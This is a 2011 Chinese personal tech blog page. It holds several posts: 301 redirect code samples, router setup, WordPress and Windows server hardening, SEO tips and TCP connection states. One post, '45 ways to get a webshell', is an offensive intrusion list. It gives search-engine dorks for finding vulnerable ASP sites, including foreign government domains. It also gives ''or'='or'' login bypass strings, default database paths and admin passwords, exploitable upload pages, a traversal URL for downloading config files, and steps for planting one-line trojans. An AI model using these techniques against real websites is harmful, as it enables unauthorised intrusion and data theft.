日志分类:网络技术

301重定向代码汇总

时间:2011年10月30日作者:小侃评论次数:0

1、PHP 301 重定向代码header(HTTP/1.1 301 Moved Permanently); header(Location: http://www.mvpec.com/articles/301/); exit(); 2、Apache301 重定向代码新建。htaccess文件,输入下列内容(需要开启mod_rewrite):1)将不带WWW的域名转向到带WWW

1、PHP 301 重定向代码header(”HTTP/1.1 301 Moved Permanently”);
header(”Location: http://www.mvpec.com/articles/301/”);
exit();
2、Apache301 重定向代码新建。htaccess文件,输入下列内容(需要开启mod_rewrite):1)将不带WWW的域名转向到带WWW的域名下Options +FollowSymLinks
RewriteEngine on
RewriteCond %{HTTP_HOST} ^mvpec.com [NC]
RewriteRule ^(.*)$ http://www.mvpec.com/$1 [L,R=301]
2)重定向到新域名Options +FollowSymLinks
RewriteEngine on
RewriteRule ^(.*)$ http://www.mvpec.com/$1 [L,R=301]
3)使用正则进行301转向,实现伪静态Options +FollowSymLinks
RewriteEngine on
RewriteRule ^news-(.+)\.html$ news.php?id=$1
将news.php?id=123这样的地址转向到news-123.html
3、ASP 301重定向代码<%@ Language=VBScript %>
<%
Response.Status=”301 Moved Permanently”
Response.AddHeader “Location”, “http://www.mvpec.com/articles/301/”
%>
4、ASP.Net 301重定向代码<script runat=”server”>
private void Page_Load(object sender, System.EventArgs e)
{
Response.Status = “301 Moved Permanently”;
Response.AddHeader(”Location”,”http://www.mvpec.com/articles/301/“);
}
</script>
5、Apache下vhosts.conf中配置301转向为实现URL规范化,SEO通常将不带WWW的域名转向到带WWW域名,vhosts.conf中配置为:<VirtualHost *:80>
ServerName www.mvpec.com
DocumentRoot /home/mvpec
</VirtualHost>
<VirtualHost *:80>
ServerName lesishu.cn
RedirectMatch permanent ^/(.*) http://www.mvpec.com/$1
</VirtualHost>
6、JSP 301重定向代码<%
response.setStatus(301);
response.setHeader( “Location”, “http://www.mvpec.com/” );
response.setHeader( “Connection”, “close” );
%>
7、CGI Perl 301重定向代码$q = new CGI;
print $q->redirect(”http://www.new-url.com/”);
8、nginx 301重定向代码把www.hxj.com和hxj.com合并,并把之前的域名也一并合并。 有两种实现方法,第一种方法是判断nginx核心变量host(老版本是http_host):
server {
server_name www.hxj.com hxj.com ;
if ($host != ‘www.hxj.com’ ) {
rewrite ^/(.*)$ http://www.hxj.com/$1 permanent;
}

}
第二种方法:
server {
server_name hxj.com;
rewrite ^/(.*) http://www.hxj.com/$1 permanent;
}
这两种方法中, permanent是关键,详细说明见nginx重定向规则说明。
last – 基本上都用这个Flag。
break – 中止Rewirte,不在继续匹配
redirect – 返回临时重定向的HTTP状态302
permanent – 返回永久重定向的HTTP状态301
301转向情况检测http://www.seoconsultants.com/tools/headers.asp
http://www.internetofficer.com/seo-tool/redirect-check/

网站45种拿webshell方法

时间:2011年10月23日作者:小侃评论次数:2

郑重申明:此文章纯属技术交流,请勿用于犯法用途,否则后果自负!

到GoogLe,搜索一些关键字,edit.asp? 韩国肉鸡为多,多数为MSSQL数据库!

2,

到Google ,site:cq.cn inurl:asp

3,

利用挖掘鸡和一个ASP木马.

文件名是login.asp

路径组是/manage/

关键词是went.asp

用’or’=’or’来登陆

4,

关键字:Co Net MIB Ver 1.0网站后台管理系统

帐号密码为 ‘or’=’or’

5.

动感购物系统

inurl:help.asp登陆,如未注册成为会员!

upLoad_bm1.asp和upLoad_c1.asp这两个随便选个,一般管理员都忽视了这2漏洞

6。

默认数据库地址blogdata/acblog.asa

关键字:acblog

7.

百度 /htdocs

注册里可以直接上传asa文件!

8.

/Database/#newasp.mdb

关键词:NewAsp SiteManageSystem Version

9.

用挖掘机

关键字:Powered by WEBBOY

页面:/upfile.asp

10.

baidu中搜索关键字Ver5.0 Build 0519

(存在上传漏洞)

11.

Upfile_Article.asp bbs/upfile.asp

输入关键字:powered by mypower ,

12.

inurl:winnt\system32\inetsrv\ 在google里面输入这个就可以找到很多网站

13.

现在GOOGLE搜索关键字 intitle:网站小助手 inurl:asp

14.

键字: 首页 最新动态 新手指南 舞曲音乐 下载中心 经典文章 玩家风采 ****购买 站内流言 友情连接 本站论坛

挖掘鸡的关键字 添 setup.asp

15.

VBulletin论坛的数据库

默认数据库地址!

/includes/functions.php

工具:

1.网站猎手 下载地址:百度 Google!

2.Google

关键字:

Powered by: vBulletin Version 3.0.1

Powered by: vBulletin Version 3.0.2

Powered by: vBulletin Version 3.0.3

其中一个就可以了

16.

1.打开百度或GOOGLE搜索,输入powered by comersus ASP shopping cart

open source。 这是一个商场系统。

2.网站的最底部分,有个 Comersus Open Technologies LC。打开看下~~comersus系统~

猜到,comersus.mdb. 是数据库名

数据库都是放在database/ 后的,

所以database/comersus.mdb

comersus_listCategoriesTree.asp换成database/comersus.mdb,不能下载。

那样把前一个”store/”除去,再加上database/comersus.mdb 试试

17.

无忧传奇官方站点程序。

1、后台管理地址:http://您的域名/msmiradmin/

2、默认后台管理帐号:msmir

3、默认后台管理密码:msmirmsmir

数据库文件为 http://您的域名/msmirdata/msmirArticle.mdb

数据库连接文件为 ***********/Conn.asp

18.

百度里输入/skins/default/

19.

利用挖掘机

关键机:power by Discuz

路径:/wish.php

配合:

Discuz!论坛 wish.php远程包含漏洞 工具使用

20.

上传漏洞.

工具 : Domain3.5

网站猎手 1.5版

关键字powered by mypower

检测的页面或文件插入upfile_photo.asp

21.

新云漏洞

这个漏洞ACCESS和SQL版通吃。

Google搜索关键字 “关于本站 – 网站帮助 – 广告合作 – 下载声明 – 友情连接 – 网站地图 – 管理登录”

把flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录。就可以下载conn.asp

以源码,软件等下载站居多。

大家时常碰到数据库如果前面或者中间+了# 可以用%23替换就可以下载了

\database\%23newasp.mdb

如:#xzws.mdb 改成%23xzws.mdb

22.

通吃所有商城+动力上传系统

使用工具:挖掘鸡 v1.1 明小子

商城入侵:

关键字:选购->加入购物车->去收银台->确认收货人信息->选付款方式->选配送方式->在线支付或下单后汇款->汇款确认->发货->完成

漏洞页面:upload.asp

upfile_flash.asp

动力入侵:

关键字:powered by mypower

漏洞页面:upfile_photo.asp

Upfile_Soft.asp

upfile_adpic.asp

upfile_softpic.asp

23.

注射漏洞

百度搜索ioj’s blog

24

动易

列目录

admin_articlerecyclebin.asp

inurl:admin_articlerecyclebin.asp

25.

工具:网站猎手

关键词:inurl:Went.asp

后缀:manage/login.asp

口令:’or’=’or’

26.

入侵魔兽****

需要的工具:ASP木马一只。

Domain3.5明小子

关键字:All Right Reserved Design:游戏联盟

后台地址:admin/login.asp

数据库的地址:chngame/#chngame.mdb

27.

漏洞是利用管理员iis设置的失误

用baidu 关键字就是比较罕见的脚本名

动网: ReloadForumCache.asp

Leadbbs: makealltopanc.asp

BBSXP: admin_fso.asp

动易: admin_articlerecyclebin.asp

28.

国外站的爆库漏洞

关键字:sad Raven’s Guestbook

密码地址:/passwd.dat

后台地址:/admin.php

29.

Discuz 4.1.0跨站漏洞

利用工具:1,WAP浏览器

2,WAP编码转换器

关键字:”intextiscuz! 4.1.0″

30.

关键字:尚奈克斯

后台路径/system/manage.asp

直接传ASP木马

31.

工具

1:网站猎手

2:大马一个

关键字:切勿关闭Cookies功能,否则您将不能登录

插入diy.asp

32.

关键字:Team5 Studio All rights reserved

默认数据库:data/team.mdb

33.

工具: 挖掘机 辅臣数据库读取器

关键字: 企业简介 产品展示 产品列表

后缀添加: /database/myszw.mdb

后台地址: admin/Login.asp

34.

关键子 XXX inurl:Nclass.asp

在”系统设置”里写个木马。

会被保存到 在 config.asp内。

35.

不进后台照样拿动网WEBSHELL

data.asp?action=BackupData 动网数据库备份默认路径

36.

工具:网站猎手 WebShell

关键字:inurl:Went.asp

后缀:manage/login.asp

弱口令:’or’=’or’

37.

关键字owered byCDN_NEWS

随便扫遍文章加一个’ ,来试探注入点

后台地址:admin_index.asp

38.

入侵雷池新闻发布系统

关键字:leichinews

去掉leichinews后面的.

打上:admin/uploadPic.asp?actionType=mod&picName=xuanran.asp

再上传马…..

进访问uppic anran.asp 登陆马.

39.

关键字ower System Of Article Management Ver 3.0 Build 20030628

默认数据库:database\yiuwekdsodksldfslwifds.mdb

后台地址:自己扫描!

40.

一、通过GOOGLE搜索找大量注入点

关键字:asp?id=1 gov.jp/ asp?id=

页数:100

语言:想入侵哪个国家就填什么语言吧

41.

关键字:Powered by:94KKBBS 2005

利用密码找回功能 找回admin

提问:ddddd 回答:ddddd

42.

关键字:inurl:Went.asp

后台为manage/login.asp

后台密码: ‘or’=’ 或者 ‘or”=”or’ 登录 进入

默认数据库地址atabase/DataShop.mdb

43.

关键字:****** inurl:readnews.asp

把最后一个/改成%5c ,直接暴库,看密码,进后台

随便添加个新闻 在标题输入我们的一句话木马

44.

工具:一句话木马

BBsXp 5.0 sp1 管理员猜解器

关键词:powered by bbsxp5.00

进后台,备份一句话马!

45.

关键字:程序核心:BJXSHOP网上开店专家

后台:/admin

分类:网络技术

无线路由简单设置方法

时间:2011年10月23日作者:小侃评论次数:0

第1-2分钟:把笔记本用网线连接到无线路由器,并且登录无线路由
用网线连接笔记本和无线路由器的LAN口,这一步不能用无线替代有线网络。因为部分无线路由器默认不允许用无线连接路由器并进行配置,需要手动开启才行。
打开IE浏览器,在地址栏中输入192.168.1.1,输入默认的用户名和密码。目前大部分无线路由器的初始IP地址都是192.168.1.1,当然也有可能是192.168.0.1;默认用户名和密码常是admin、admin,root、root这两对。具体的还是请看一看说明书吧,这种内容说明书一般都讲得比较清楚的。在Vista系统下,设置IP地址需要到开始菜单→控制面板→网络和Internet→查看网络状态和任务→管理网络连接→本地连接→右键选择“属性”→Internet协议版本4(TCP/IP V4)→属性→选择“使用下面的IP地址”输入IP地址192.168.1.2、子网掩码255.255.255.0、默认网关192.168.1.1,在下方的DNS服务器中输入本地的DNS服务器的IP或者使用192.168.1.1这个地址.
第3-5分钟:设置路由器的无线连接部分,安全设置很重要
这一步将完成无线路由器在安全、连接方面的设定,是重中之重。这一步不同的路由器都可能不一样,但是大概的原理是差不多的。
进入基本设置中的“网络设置”,里面有无线网络设置。有以下几点注意:
在这里可以设置一个SSID也就是接入点的名称,你可以随意设置,但最好不要使用特殊字符,请使用26个字母和数字。建议隐藏SSID,也就是禁止“SSID广播”。
设置无线模式,可以限定支持802.11G还是802.11b还是混合,一般选择默认值也就是“混合”即可。部分第三方固件或者设置选项丰富的路由器可以设置无线模式为AP或者网桥等,在这里设置为“无线访问点AP”即可。信道设置为一个不冲突的频段,一般可以保持默认,如果出现冲突影响上网,那么再另行设置。有的机型的无线设置位于一个独立的“无线网络”选项卡,也有的机型在“高级设置”中设置无线相关选项。但设置的内容都大同小异。设置安全选项。安全选项非常重要,轻则让别人蹭网影响网速,重则别人可以通过无线网络侵入你的电脑,这样想干啥就可以干啥了。所以安全一定要做好。这一步的要点在于选择正确的安全模式,建议使用WPA Personal,也就是“WPA个人”,加密选择“AES”,然后输入一个足够长、足够复杂的密码,例如“d#$#*&UI(*((*(UJJIUIYIYYEYHY*&*”这种没有规则,整合数字、特殊字符、字母的密码就很难破解。
如果上网的客户端比较固定,也就是说都是几台固定的笔记本使用这个无线局域网,那么还可以限定MAC地址来获得更好的安全性。限制MAC地址可以在“无线过滤”中设置,在里面添加特定的MAC地址并设置为仅允许这些MAC地址访问无线网络即可。

分类:网络技术

博客安全系列之WordPress

时间:2011年08月31日作者:小侃评论次数:0

今天谈Wordpress的安全..
最近WORDPRESS一直很不安全..0DAY漏洞经常有~所以就需要对程序进行安全设置
==========================================================
第一步:设置可执行。将wp-content,wp-includes,wp-admin/css.wp-admin/images,wp-admin /import,wp-admin/includes,wp-admin/js,wp-admin/maint
以上文件夹以及子目录设置PHP禁止直行
里面加个.htaccess即可
RewriteEngine on
RewriteRule .*.(php|PHP|php|Php|phP|PhP|PHp|pHP|pHp)$ /bad.txt
根目录建立个bad.txt 内容:请勿尝试非法入侵!
===========================================================
第二步:设置目录禁止写入删除,只允许wp-content\uploads的写入删除权限!以免拿到后台去拿SHELL
文件夹,右键,安全,WEBSERVER启动账户 只允许读取权限。。
===========================================================
第三步:修改后台登陆名。默认的是wp-login.php 改成@@@@HSDAeryte544.php.adfsdf.php之类的即可。一定记住!WP-ADMIN不能改~
这样即使你的密码是admin用户是admin也不能登陆你的后台啦~
=========

标签:分类:网络技术

服务器防黑技巧

时间:2011年08月30日作者:小侃评论次数:0

在频频恶意攻击用户、系统漏洞层出不穷的今天,作为网络治理员、系统治理员虽然在服务器的安全上都下了不少功夫,诸如及时打上系统安全补丁、进行一些常规的安全配置,但有时仍不安全。因此必须恶意用户入侵之前,通过一些系列安全设置,来将入侵者们挡在”安全门”之外,下面就将最简单、最有效的防(Overflow)溢出、本地提供权限攻击类的解决办法给大家分享。

一、如何防止溢出类攻击
1、尽最大的可能性将系统的漏洞补丁都打完,最好是比如Microsoft Windows
Server系列的系统可以将自动更新服务打开,然后让服务器在您指定的某个时间段内自动连接到Microsoft
Update网站进行补丁的更新。假如您的服务器为了安全起见 禁止了对公网外部的连接的话,可以用Microsoft WSUS服务在内网进行升级。
2、停掉一切不需要的系统服务以及应用程序,最大限能的降底服务器的被攻击系数。比如前阵子的MSDTC溢出,就导致很多服务器挂掉了。其实假如WEB类服务器根本没有用到MSDTC服务时,您大可以把MSDTC服务停掉,这样MSDTC溢出就对您的服务器不构成任何威胁了。
3、启动TCP/IP端口的过滤,仅打开常用的TCP如21、80、25、110、3389等端口;假如安全要求级别高一点可以将UDP端口关闭,当然假如这样之后缺陷就是如在服务器上连外部就不方便连接了,这里建议大家用IPSec来封UDP。在协议筛选中”只答应”TCP协议(协议号为:6)、UDP协议(协议号为:17)以及RDP协议(协议号为:27)等必需用协议即可;其它无用均不开放。
4、启用IPSec策略:为服务器的连接进行安全认证,给服务器加上双保险。如③所说,可以在这里封掉一些危险的端品诸如:135 145 139 445
以及UDP对外连接之类、以及对通读进行加密与只与有信任关系的IP或者网络进行通讯等等。(注:其实防反弹类木马用IPSec简单的禁止UDP或者不常用TCP端口的对外访问就成了,关于IPSec的如何应用这里就不再敖续,可以到服安讨论Search
“IPSec”,就 会有N多关于IPSec的应用资料..)
5、删除、移动、更名或者用访问控制表列Access Control Lists (ACLs)控制要害系统文件、命令及文件夹:
(1).黑客通常在溢出得到shell后,来用诸如net.exe net1.exe ipconfig.exe user.exe query.exe
regedit.exe regsvr32.exe
来达到进一步控制服务器的目的如:加账号了,克隆治理员了等等;这里可以将这些命令程序删除或者改名。(注重:在删除与改名时先停掉文件复制服务(FRS)或者先将
%windir%\system32\dllcache\下的对应文件删除或改名。)
(2).也或者将这些.exe文件移动到指定的文件夹,这样也方便以后治理员自己使用。
(3).访问控制表列ACLS控制:找到%windir%\system32下找到cmd.exe、cmd32.exe net.exe net1.exe
ipconfig.exe tftp.exe ftp.exe user.exe reg.exe regedit.exe regedt32.exe
regsvr32.exe 这些黑客常用的文件,在”属性”→”安全”中对他们进行访问的ACLs用户进
行定义,诸如只给administrator有权访问,假如需要防范一些溢出攻击、以及溢出成功后对这些文件的非法利用,那么只需要将system用户在ACLs中进行拒绝访问即可。
(4).假如觉得在GUI下面太麻烦的话,也可以用系统命令的CACLS.EXE来对这些.exe文件的Acls进行编辑与修改,或者说将他写成一个.bat批处理
文件来执行以及对这些命令进行修改。(具体用户自己参见cacls /? 帮助进行,由于这里的命令太多就不一一列举写成批处理代码给各位了!!)
(5).对磁盘如C/D/E/F等进行安全的ACLS设置从整体安全上考虑的话也是很有必要的,另外非凡是win2k,对Winnt、Winnt\System、Document
and Setting等文件夹。
6、进行注册表的修改禁用命令解释器:
(假如您觉得用⑤的方法太烦琐的话,那么您不防试试下面一劳永逸的办法来禁止CMD的运行,通过修改注册表,可以禁止用户使用命令解释器(CMD.exe)和运行批处理文件(.bat文件)。具体方法:新建一个双字节(REG_DWord)执行
HKEY_CURRENT_USER\Software\PolicIEs\
Microsoft\Windows\System\DisableCMD,修改其值为1,命令解释器和批处理文件都不能被运行。修改其值为2,则只是禁止命令解释器的运行,反之将值改为0,则是打开CMS命令解释器。假如您赚手动太麻烦的话,请将下面的代码保存为*.reg文件,然后导入。
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
“DisableCMD”=dword:00000001
7、对一些以System权限运行的系统服务进行降级处理。(诸如:将Serv-U、Imail、IIS、Php、Mssql、Mysql等一系列以System权限运行的服务或者应用程序换成其它administrators成员甚至users权限运行,这样就会安全得多了…但前提是需要对这些基本运行状态、调用API等相关情况较为了解.
)
其实,关于防止如Overflow溢出类攻击的办法除了用上述的几点以外,还有N多种办法:诸如用组策略进行限制,写防护过滤程序用DLL方式加载windows到相关的SHell以及动态链接程序之中这类。当然自己写代码来进行验证加密就需要有相关深厚的Win32编程基础了,以及对Shellcode较有研究;由于此文仅仅是讨论简单的解决办法,因此其它办法就不在这里详述了。

如何使自己的网站被搜索引擎收录?

时间:2011年07月19日作者:小侃评论次数:0

随着个人站长越来越多,网络信息量越来越大,如何在短时间内使自己的网站或BLOG快速被他人所知?
    对,通过搜索引擎。
    那么,了解下面这些SEO基本知识对于自己的网站更多的被各大搜索引擎所收录是非常必要的。
    众所周知,著名的搜索引擎有很多,比如google,baidu,yahoo,msn等。虽然它们属于不同的搜索引擎,他们的搜索算法也不近相同,但是他们却都遵循下面这些规律。
1.优化你的<meta>标记
     相信大家都知道网页元素在<head>..</head>中包含一个<meta>标记。这个标记就是告诉搜索引擎你网页的基本信息,比如网页的关键字(keywords),描述(description),作者(author)等等基本信息。
   这里我推荐一个小工具,它可以帮你分析你的网页的基本meta信息是否更容易被搜索引擎所收录。
  http://tools.chinaz.com 里面有个meta头分析工具….
   需要注意的是,关键字与描述应该是贴切的,与你的网页内容相关的。并不是关键字越多,描述越多就越好。因 为有些搜索引擎,如google,它的搜索引擎程序更擅长抓取网页的具体内容。此时如果虽然你的description很多,但是与你网页的实际内容并不 相符,这样并不利用google的抓取。说白了,decription是google抓取页面的参考因素,而不是决定因素。
例子:
引用内容 引用内容
bmestu.com是一个面向就业的小型网站,主要发布与就业有关的资讯,提供就业交流平台的网站。
它的关键字(keywords),描述(description)分别是:

程序代码 程序代码
<meta name=”keywords” content=”生物医学工程学生科网站 | 就业信息 | 南方医科大学 | 学生科网站   | 招聘信息 | 人才 | 就业交流论坛”>
<meta name=”description” content=”南方医科大学生物医学工程学院学生科网站和就业交流论坛,为广大学生提供了一个各种信息获取和交流的平台.”>

2.在各大搜索引擎添加自己的网站URL(也被称为注册)

   理论上讲,不用手动添加,搜索引擎也会收录的。每天都有大量的搜索引擎机器人程序游历与网络之中,抓取各种网页,这当然包括那些从没有被收录过的网站。但是,一般为了第一时间被收录,站长最好还是手动添加一下,保险点。
  google的网站页面页面:http://www.google.com/intl/zh-CN/add_url.html
   baidu的网站注册页面:http://www.baidu.com/search/url_submit.html
   添加成功后,搜索引擎就会根据你提供的网址抓取页面了,但是这并不代表一定会被收录。
3.网站页面静态化
   网站页面静态化不管是对SEO还是对于整个网站本身都是有好处的。
  各大搜索引擎的页面抓取程序通常为了防止自己的抓取机器人进入一些动态页面的循环(死循环)而无法退出,所以他们更“喜欢”那些静态的页面。
  当然了,这并不是说抓取程序不抓取诸如.asp,.jsp,.php这样的动态页面。
  另外,对于网站系统本身来说,通常静态页面是在后台添加数据的时候就已经形成了。这样就避免了用户访问动态信息时频繁对数据库进行读取而增加服务器的压力。
4.保持经常更新
   时常保持更新。最好每天都有更新,这样搜索引擎会经常光顾你的网站。
5.保证自己网站内容的原创性
   其实,这一点非常重要。但是,有很多人却往往忽视了这一点。原创的内容才能使你的网站有更高的价值。这样访问的人也就越多,就会有越多的人转载你的东西。毕竟,希望被搜索引擎更多更快的收录的最终目的
是使更多的人知道你的网站。不是吗?
6.多和RP值高的网站做友情链接
   很多搜索引擎,比如google,会把“反向链接”作为一个网站价值和品牌的重要影响因素。
  那么多和高水平,高质量,有知名度的网站做友情链接吧。这样有助于增加你的搜索引擎中的排名。
  切忌不要与那些垃圾网站(很多广告,没有实际内容的那种网站)做友情链接,这样不仅不会提高你的排名。反而会降低你网站的排名,降低“身份”。
…….   其实,说了这么多,归根结底一句话:你的网站如果有切实的有用的原创的东西,那么你是不怕没人访问你的网站的。通常这样的网站,搜索引擎会自动找上门来。
当然了,此时如果能配合相应的SEO优化,那就更好了。  最后祝大家的网站,BLOG越来越红火。

 

标签:分类:网络技术

TCP连接的状态深度剖析

时间:2011年07月19日作者:小侃评论次数:0

TCP状态转换图

状态:描述
CLOSED:无连接是活动的或正在进行
LISTEN:服务器在等待进入呼叫
SYN_RECV:一个连接请求已经到达,等待确认
SYN_SENT:应用已经开始,打开一个连接
ESTABLISHED:正常数据传输状态
FIN_WAIT1:应用说它已经完成
FIN_WAIT2:另一边已同意释放
ITMED_WAIT:等待所有分组死掉
CLOSING:两边同时尝试关闭
TIME_WAIT:另一边已初始化一个释放
LAST_ACK:等待所有分组死掉
这个图n多人都知道,它对排除和定位网络或系统故障时大有帮助,但是怎样牢牢地将这张图刻在脑中呢?那么你就一定要对这张图的每一个状态,及转换的过程有 深刻地认识,不能只停留在一知半解之中。下面对这张图的11种状态详细解释一下,以便加强记忆!不过在这之前,先回顾一下TCP建立连接的三次握手过程, 以及关闭连接的四次握手过程。

1、建立连接协议(三次握手)
(1)客户端发送一个带SYN标志的TCP报文到服务器。这是三次握手过程中的报文1。
(2) 服务器端回应客户端的,这是三次握手中的第2个报文,这个报文同时带ACK标志和SYN标志。因此它表示对刚才客户端SYN报文的回应;同时又标志SYN给客户端,询问客户端是否准备好进行数据通讯。
(3) 客户必须再次回应服务段一个ACK报文,这是报文段3。
2、连接终止协议(四次握手)
由于TCP连接是全双工的,因此每个方向都必须单独进行关闭。这原则是当一方完成它的数据发送任务后就能发送一个FIN来终止这个方向的连接。收到一个 FIN只意味着这一方向上没有数据流动,一个TCP连接在收到一个FIN后仍能发送数据。首先进行关闭的一方将执行主动关闭,而另一方执行被动关闭。
(1) TCP客户端发送一个FIN,用来关闭客户到服务器的数据传送(报文段4)。
(2) 服务器收到这个FIN,它发回一个ACK,确认序号为收到的序号加1(报文段5)。和SYN一样,一个FIN将占用一个序号。
(3) 服务器关闭客户端的连接,发送一个FIN给客户端(报文段6)。
(4) 客户段发回ACK报文确认,并将确认序号设置为收到序号加1(报文段7)。
CLOSED: 这个没什么好说的了,表示初始状态。
LISTEN: 这个也是非常容易理解的一个状态,表示服务器端的某个SOCKET处于监听状态,可以接受连接了。
SYN_RCVD: 这个状态表示接受到了SYN报文,在正常情况下,这个状态是服务器端的SOCKET在建立TCP连接时的三次握手会话过程中的一个中间状态,很短暂,基本 上用netstat你是很难看到这种状态的,除非你特意写了一个客户端测试程序,故意将三次TCP握手过程中最后一个ACK报文不予发送。因此这种状态 时,当收到客户端的ACK报文后,它会进入到ESTABLISHED状态。
SYN_SENT: 这个状态与SYN_RCVD遥想呼应,当客户端SOCKET执行CONNECT连接时,它首先发送SYN报文,因此也随即它会进入到了SYN_SENT状 态,并等待服务端的发送三次握手中的第2个报文。SYN_SENT状态表示客户端已发送SYN报文。
ESTABLISHED:这个容易理解了,表示连接已经建立了。
FIN_WAIT_1: 这个状态要好好解释一下,其实FIN_WAIT_1和FIN_WAIT_2状态的真正含义都是表示等待对方的FIN报文。而这两种状态的区别 是:FIN_WAIT_1状态实际上是当SOCKET在ESTABLISHED状态时,它想主动关闭连接,向对方发送了FIN报文,此时该SOCKET即 进入到FIN_WAIT_1状态。而当对方回应ACK报文后,则进入到FIN_WAIT_2状态,当然在实际的正常情况下,无论对方何种情况下,都应该马 上回应ACK报文,所以FIN_WAIT_1状态一般是比较难见到的,而FIN_WAIT_2状态还有时常常可以用netstat看到。
FIN_WAIT_2:上面已经详细解释了这种状态,实际上FIN_WAIT_2状态下的SOCKET,表示半连接,也即有一方要求close连接,但另外还告诉对方,我暂时还有点数据需要传送给你,稍后再关闭连接。
TIME_WAIT: 表示收到了对方的FIN报文,并发送出了ACK报文,就等2MSL后即可回到CLOSED可用状态了。如果FIN_WAIT_1状态下,收到了对方同时带 FIN标志和ACK标志的报文时,可以直接进入到TIME_WAIT状态,而无须经过FIN_WAIT_2状态。
CLOSING: 这种状态比较特殊,实际情况中应该是很少见,属于一种比较罕见的例外状态。正常情况下,当你发送FIN报文后,按理来说是应该先收到(或同时收到)对方的 ACK报文,再收到对方的FIN报文。但是CLOSING状态表示你发送FIN报文后,并没有收到对方的ACK报文,反而却也收到了对方的FIN报文。什 么情况下会出现此种情况呢?其实细想一下,也不难得出结论:那就是如果双方几乎在同时close一个SOCKET的话,那么就出现了双方同时发送FIN报 文的情况,也即会出现CLOSING状态,表示双方都正在关闭SOCKET连接。
CLOSE_WAIT: 这种状态的含义其实是表示在等待关闭。怎么理解呢?当对方close一个SOCKET后发送FIN报文给自己,你系统毫无疑问地会回应一个ACK报文给对 方,此时则进入到CLOSE_WAIT状态。接下来呢,实际上你真正需要考虑的事情是察看你是否还有数据发送给对方,如果没有的话,那么你也就可以 close这个SOCKET,发送FIN报文给对方,也即关闭连接。所以你在CLOSE_WAIT状态下,需要完成的事情是等待你去关闭连接。
LAST_ACK: 这个状态还是比较容易好理解的,它是被动关闭一方在发送FIN报文后,最后等待对方的ACK报文。当收到ACK报文后,也即可以进入到CLOSED可用状态了。
最后有2个问题的回答,我自己分析后的结论(不一定保证100%正确)
1、 为什么建立连接协议是三次握手,而关闭连接却是四次握手呢?
这是因为服务端的LISTEN状态下的SOCKET当收到SYN报文的建连请求后,它可以把ACK和SYN(ACK起应答作用,而SYN起同步作用)放在 一个报文里来发送。但关闭连接时,当收到对方的FIN报文通知时,它仅仅表示对方没有数据发送给你了;但未必你所有的数据都全部发送给对方了,所以你可以 未必会马上会关闭SOCKET,也即你可能还需要发送一些数据给对方之后,再发送FIN报文给对方来表示你同意现在可以关闭连接了,所以它这里的ACK报 文和FIN报文多数情况下都是分开发送的。
2、 为什么TIME_WAIT状态还需要等2MSL后才能返回到CLOSED状态?
这是因为:虽然双方都同意关闭连接了,而且握手的4个报文也都协调和发送完毕,按理可以直接回到CLOSED状态(就好比从SYN_SEND状态到 ESTABLISH状态那样);但是因为我们必须要假想网络是不可靠的,你无法保证你最后发送的ACK报文会一定被对方收到,因此对方处于 LAST_ACK状态下的SOCKET可能会因为超时未收到ACK报文,而重发FIN报文,所以这个TIME_WAIT状态的作用就是用来重发可能丢失的 ACK报文。

标签:分类:网络技术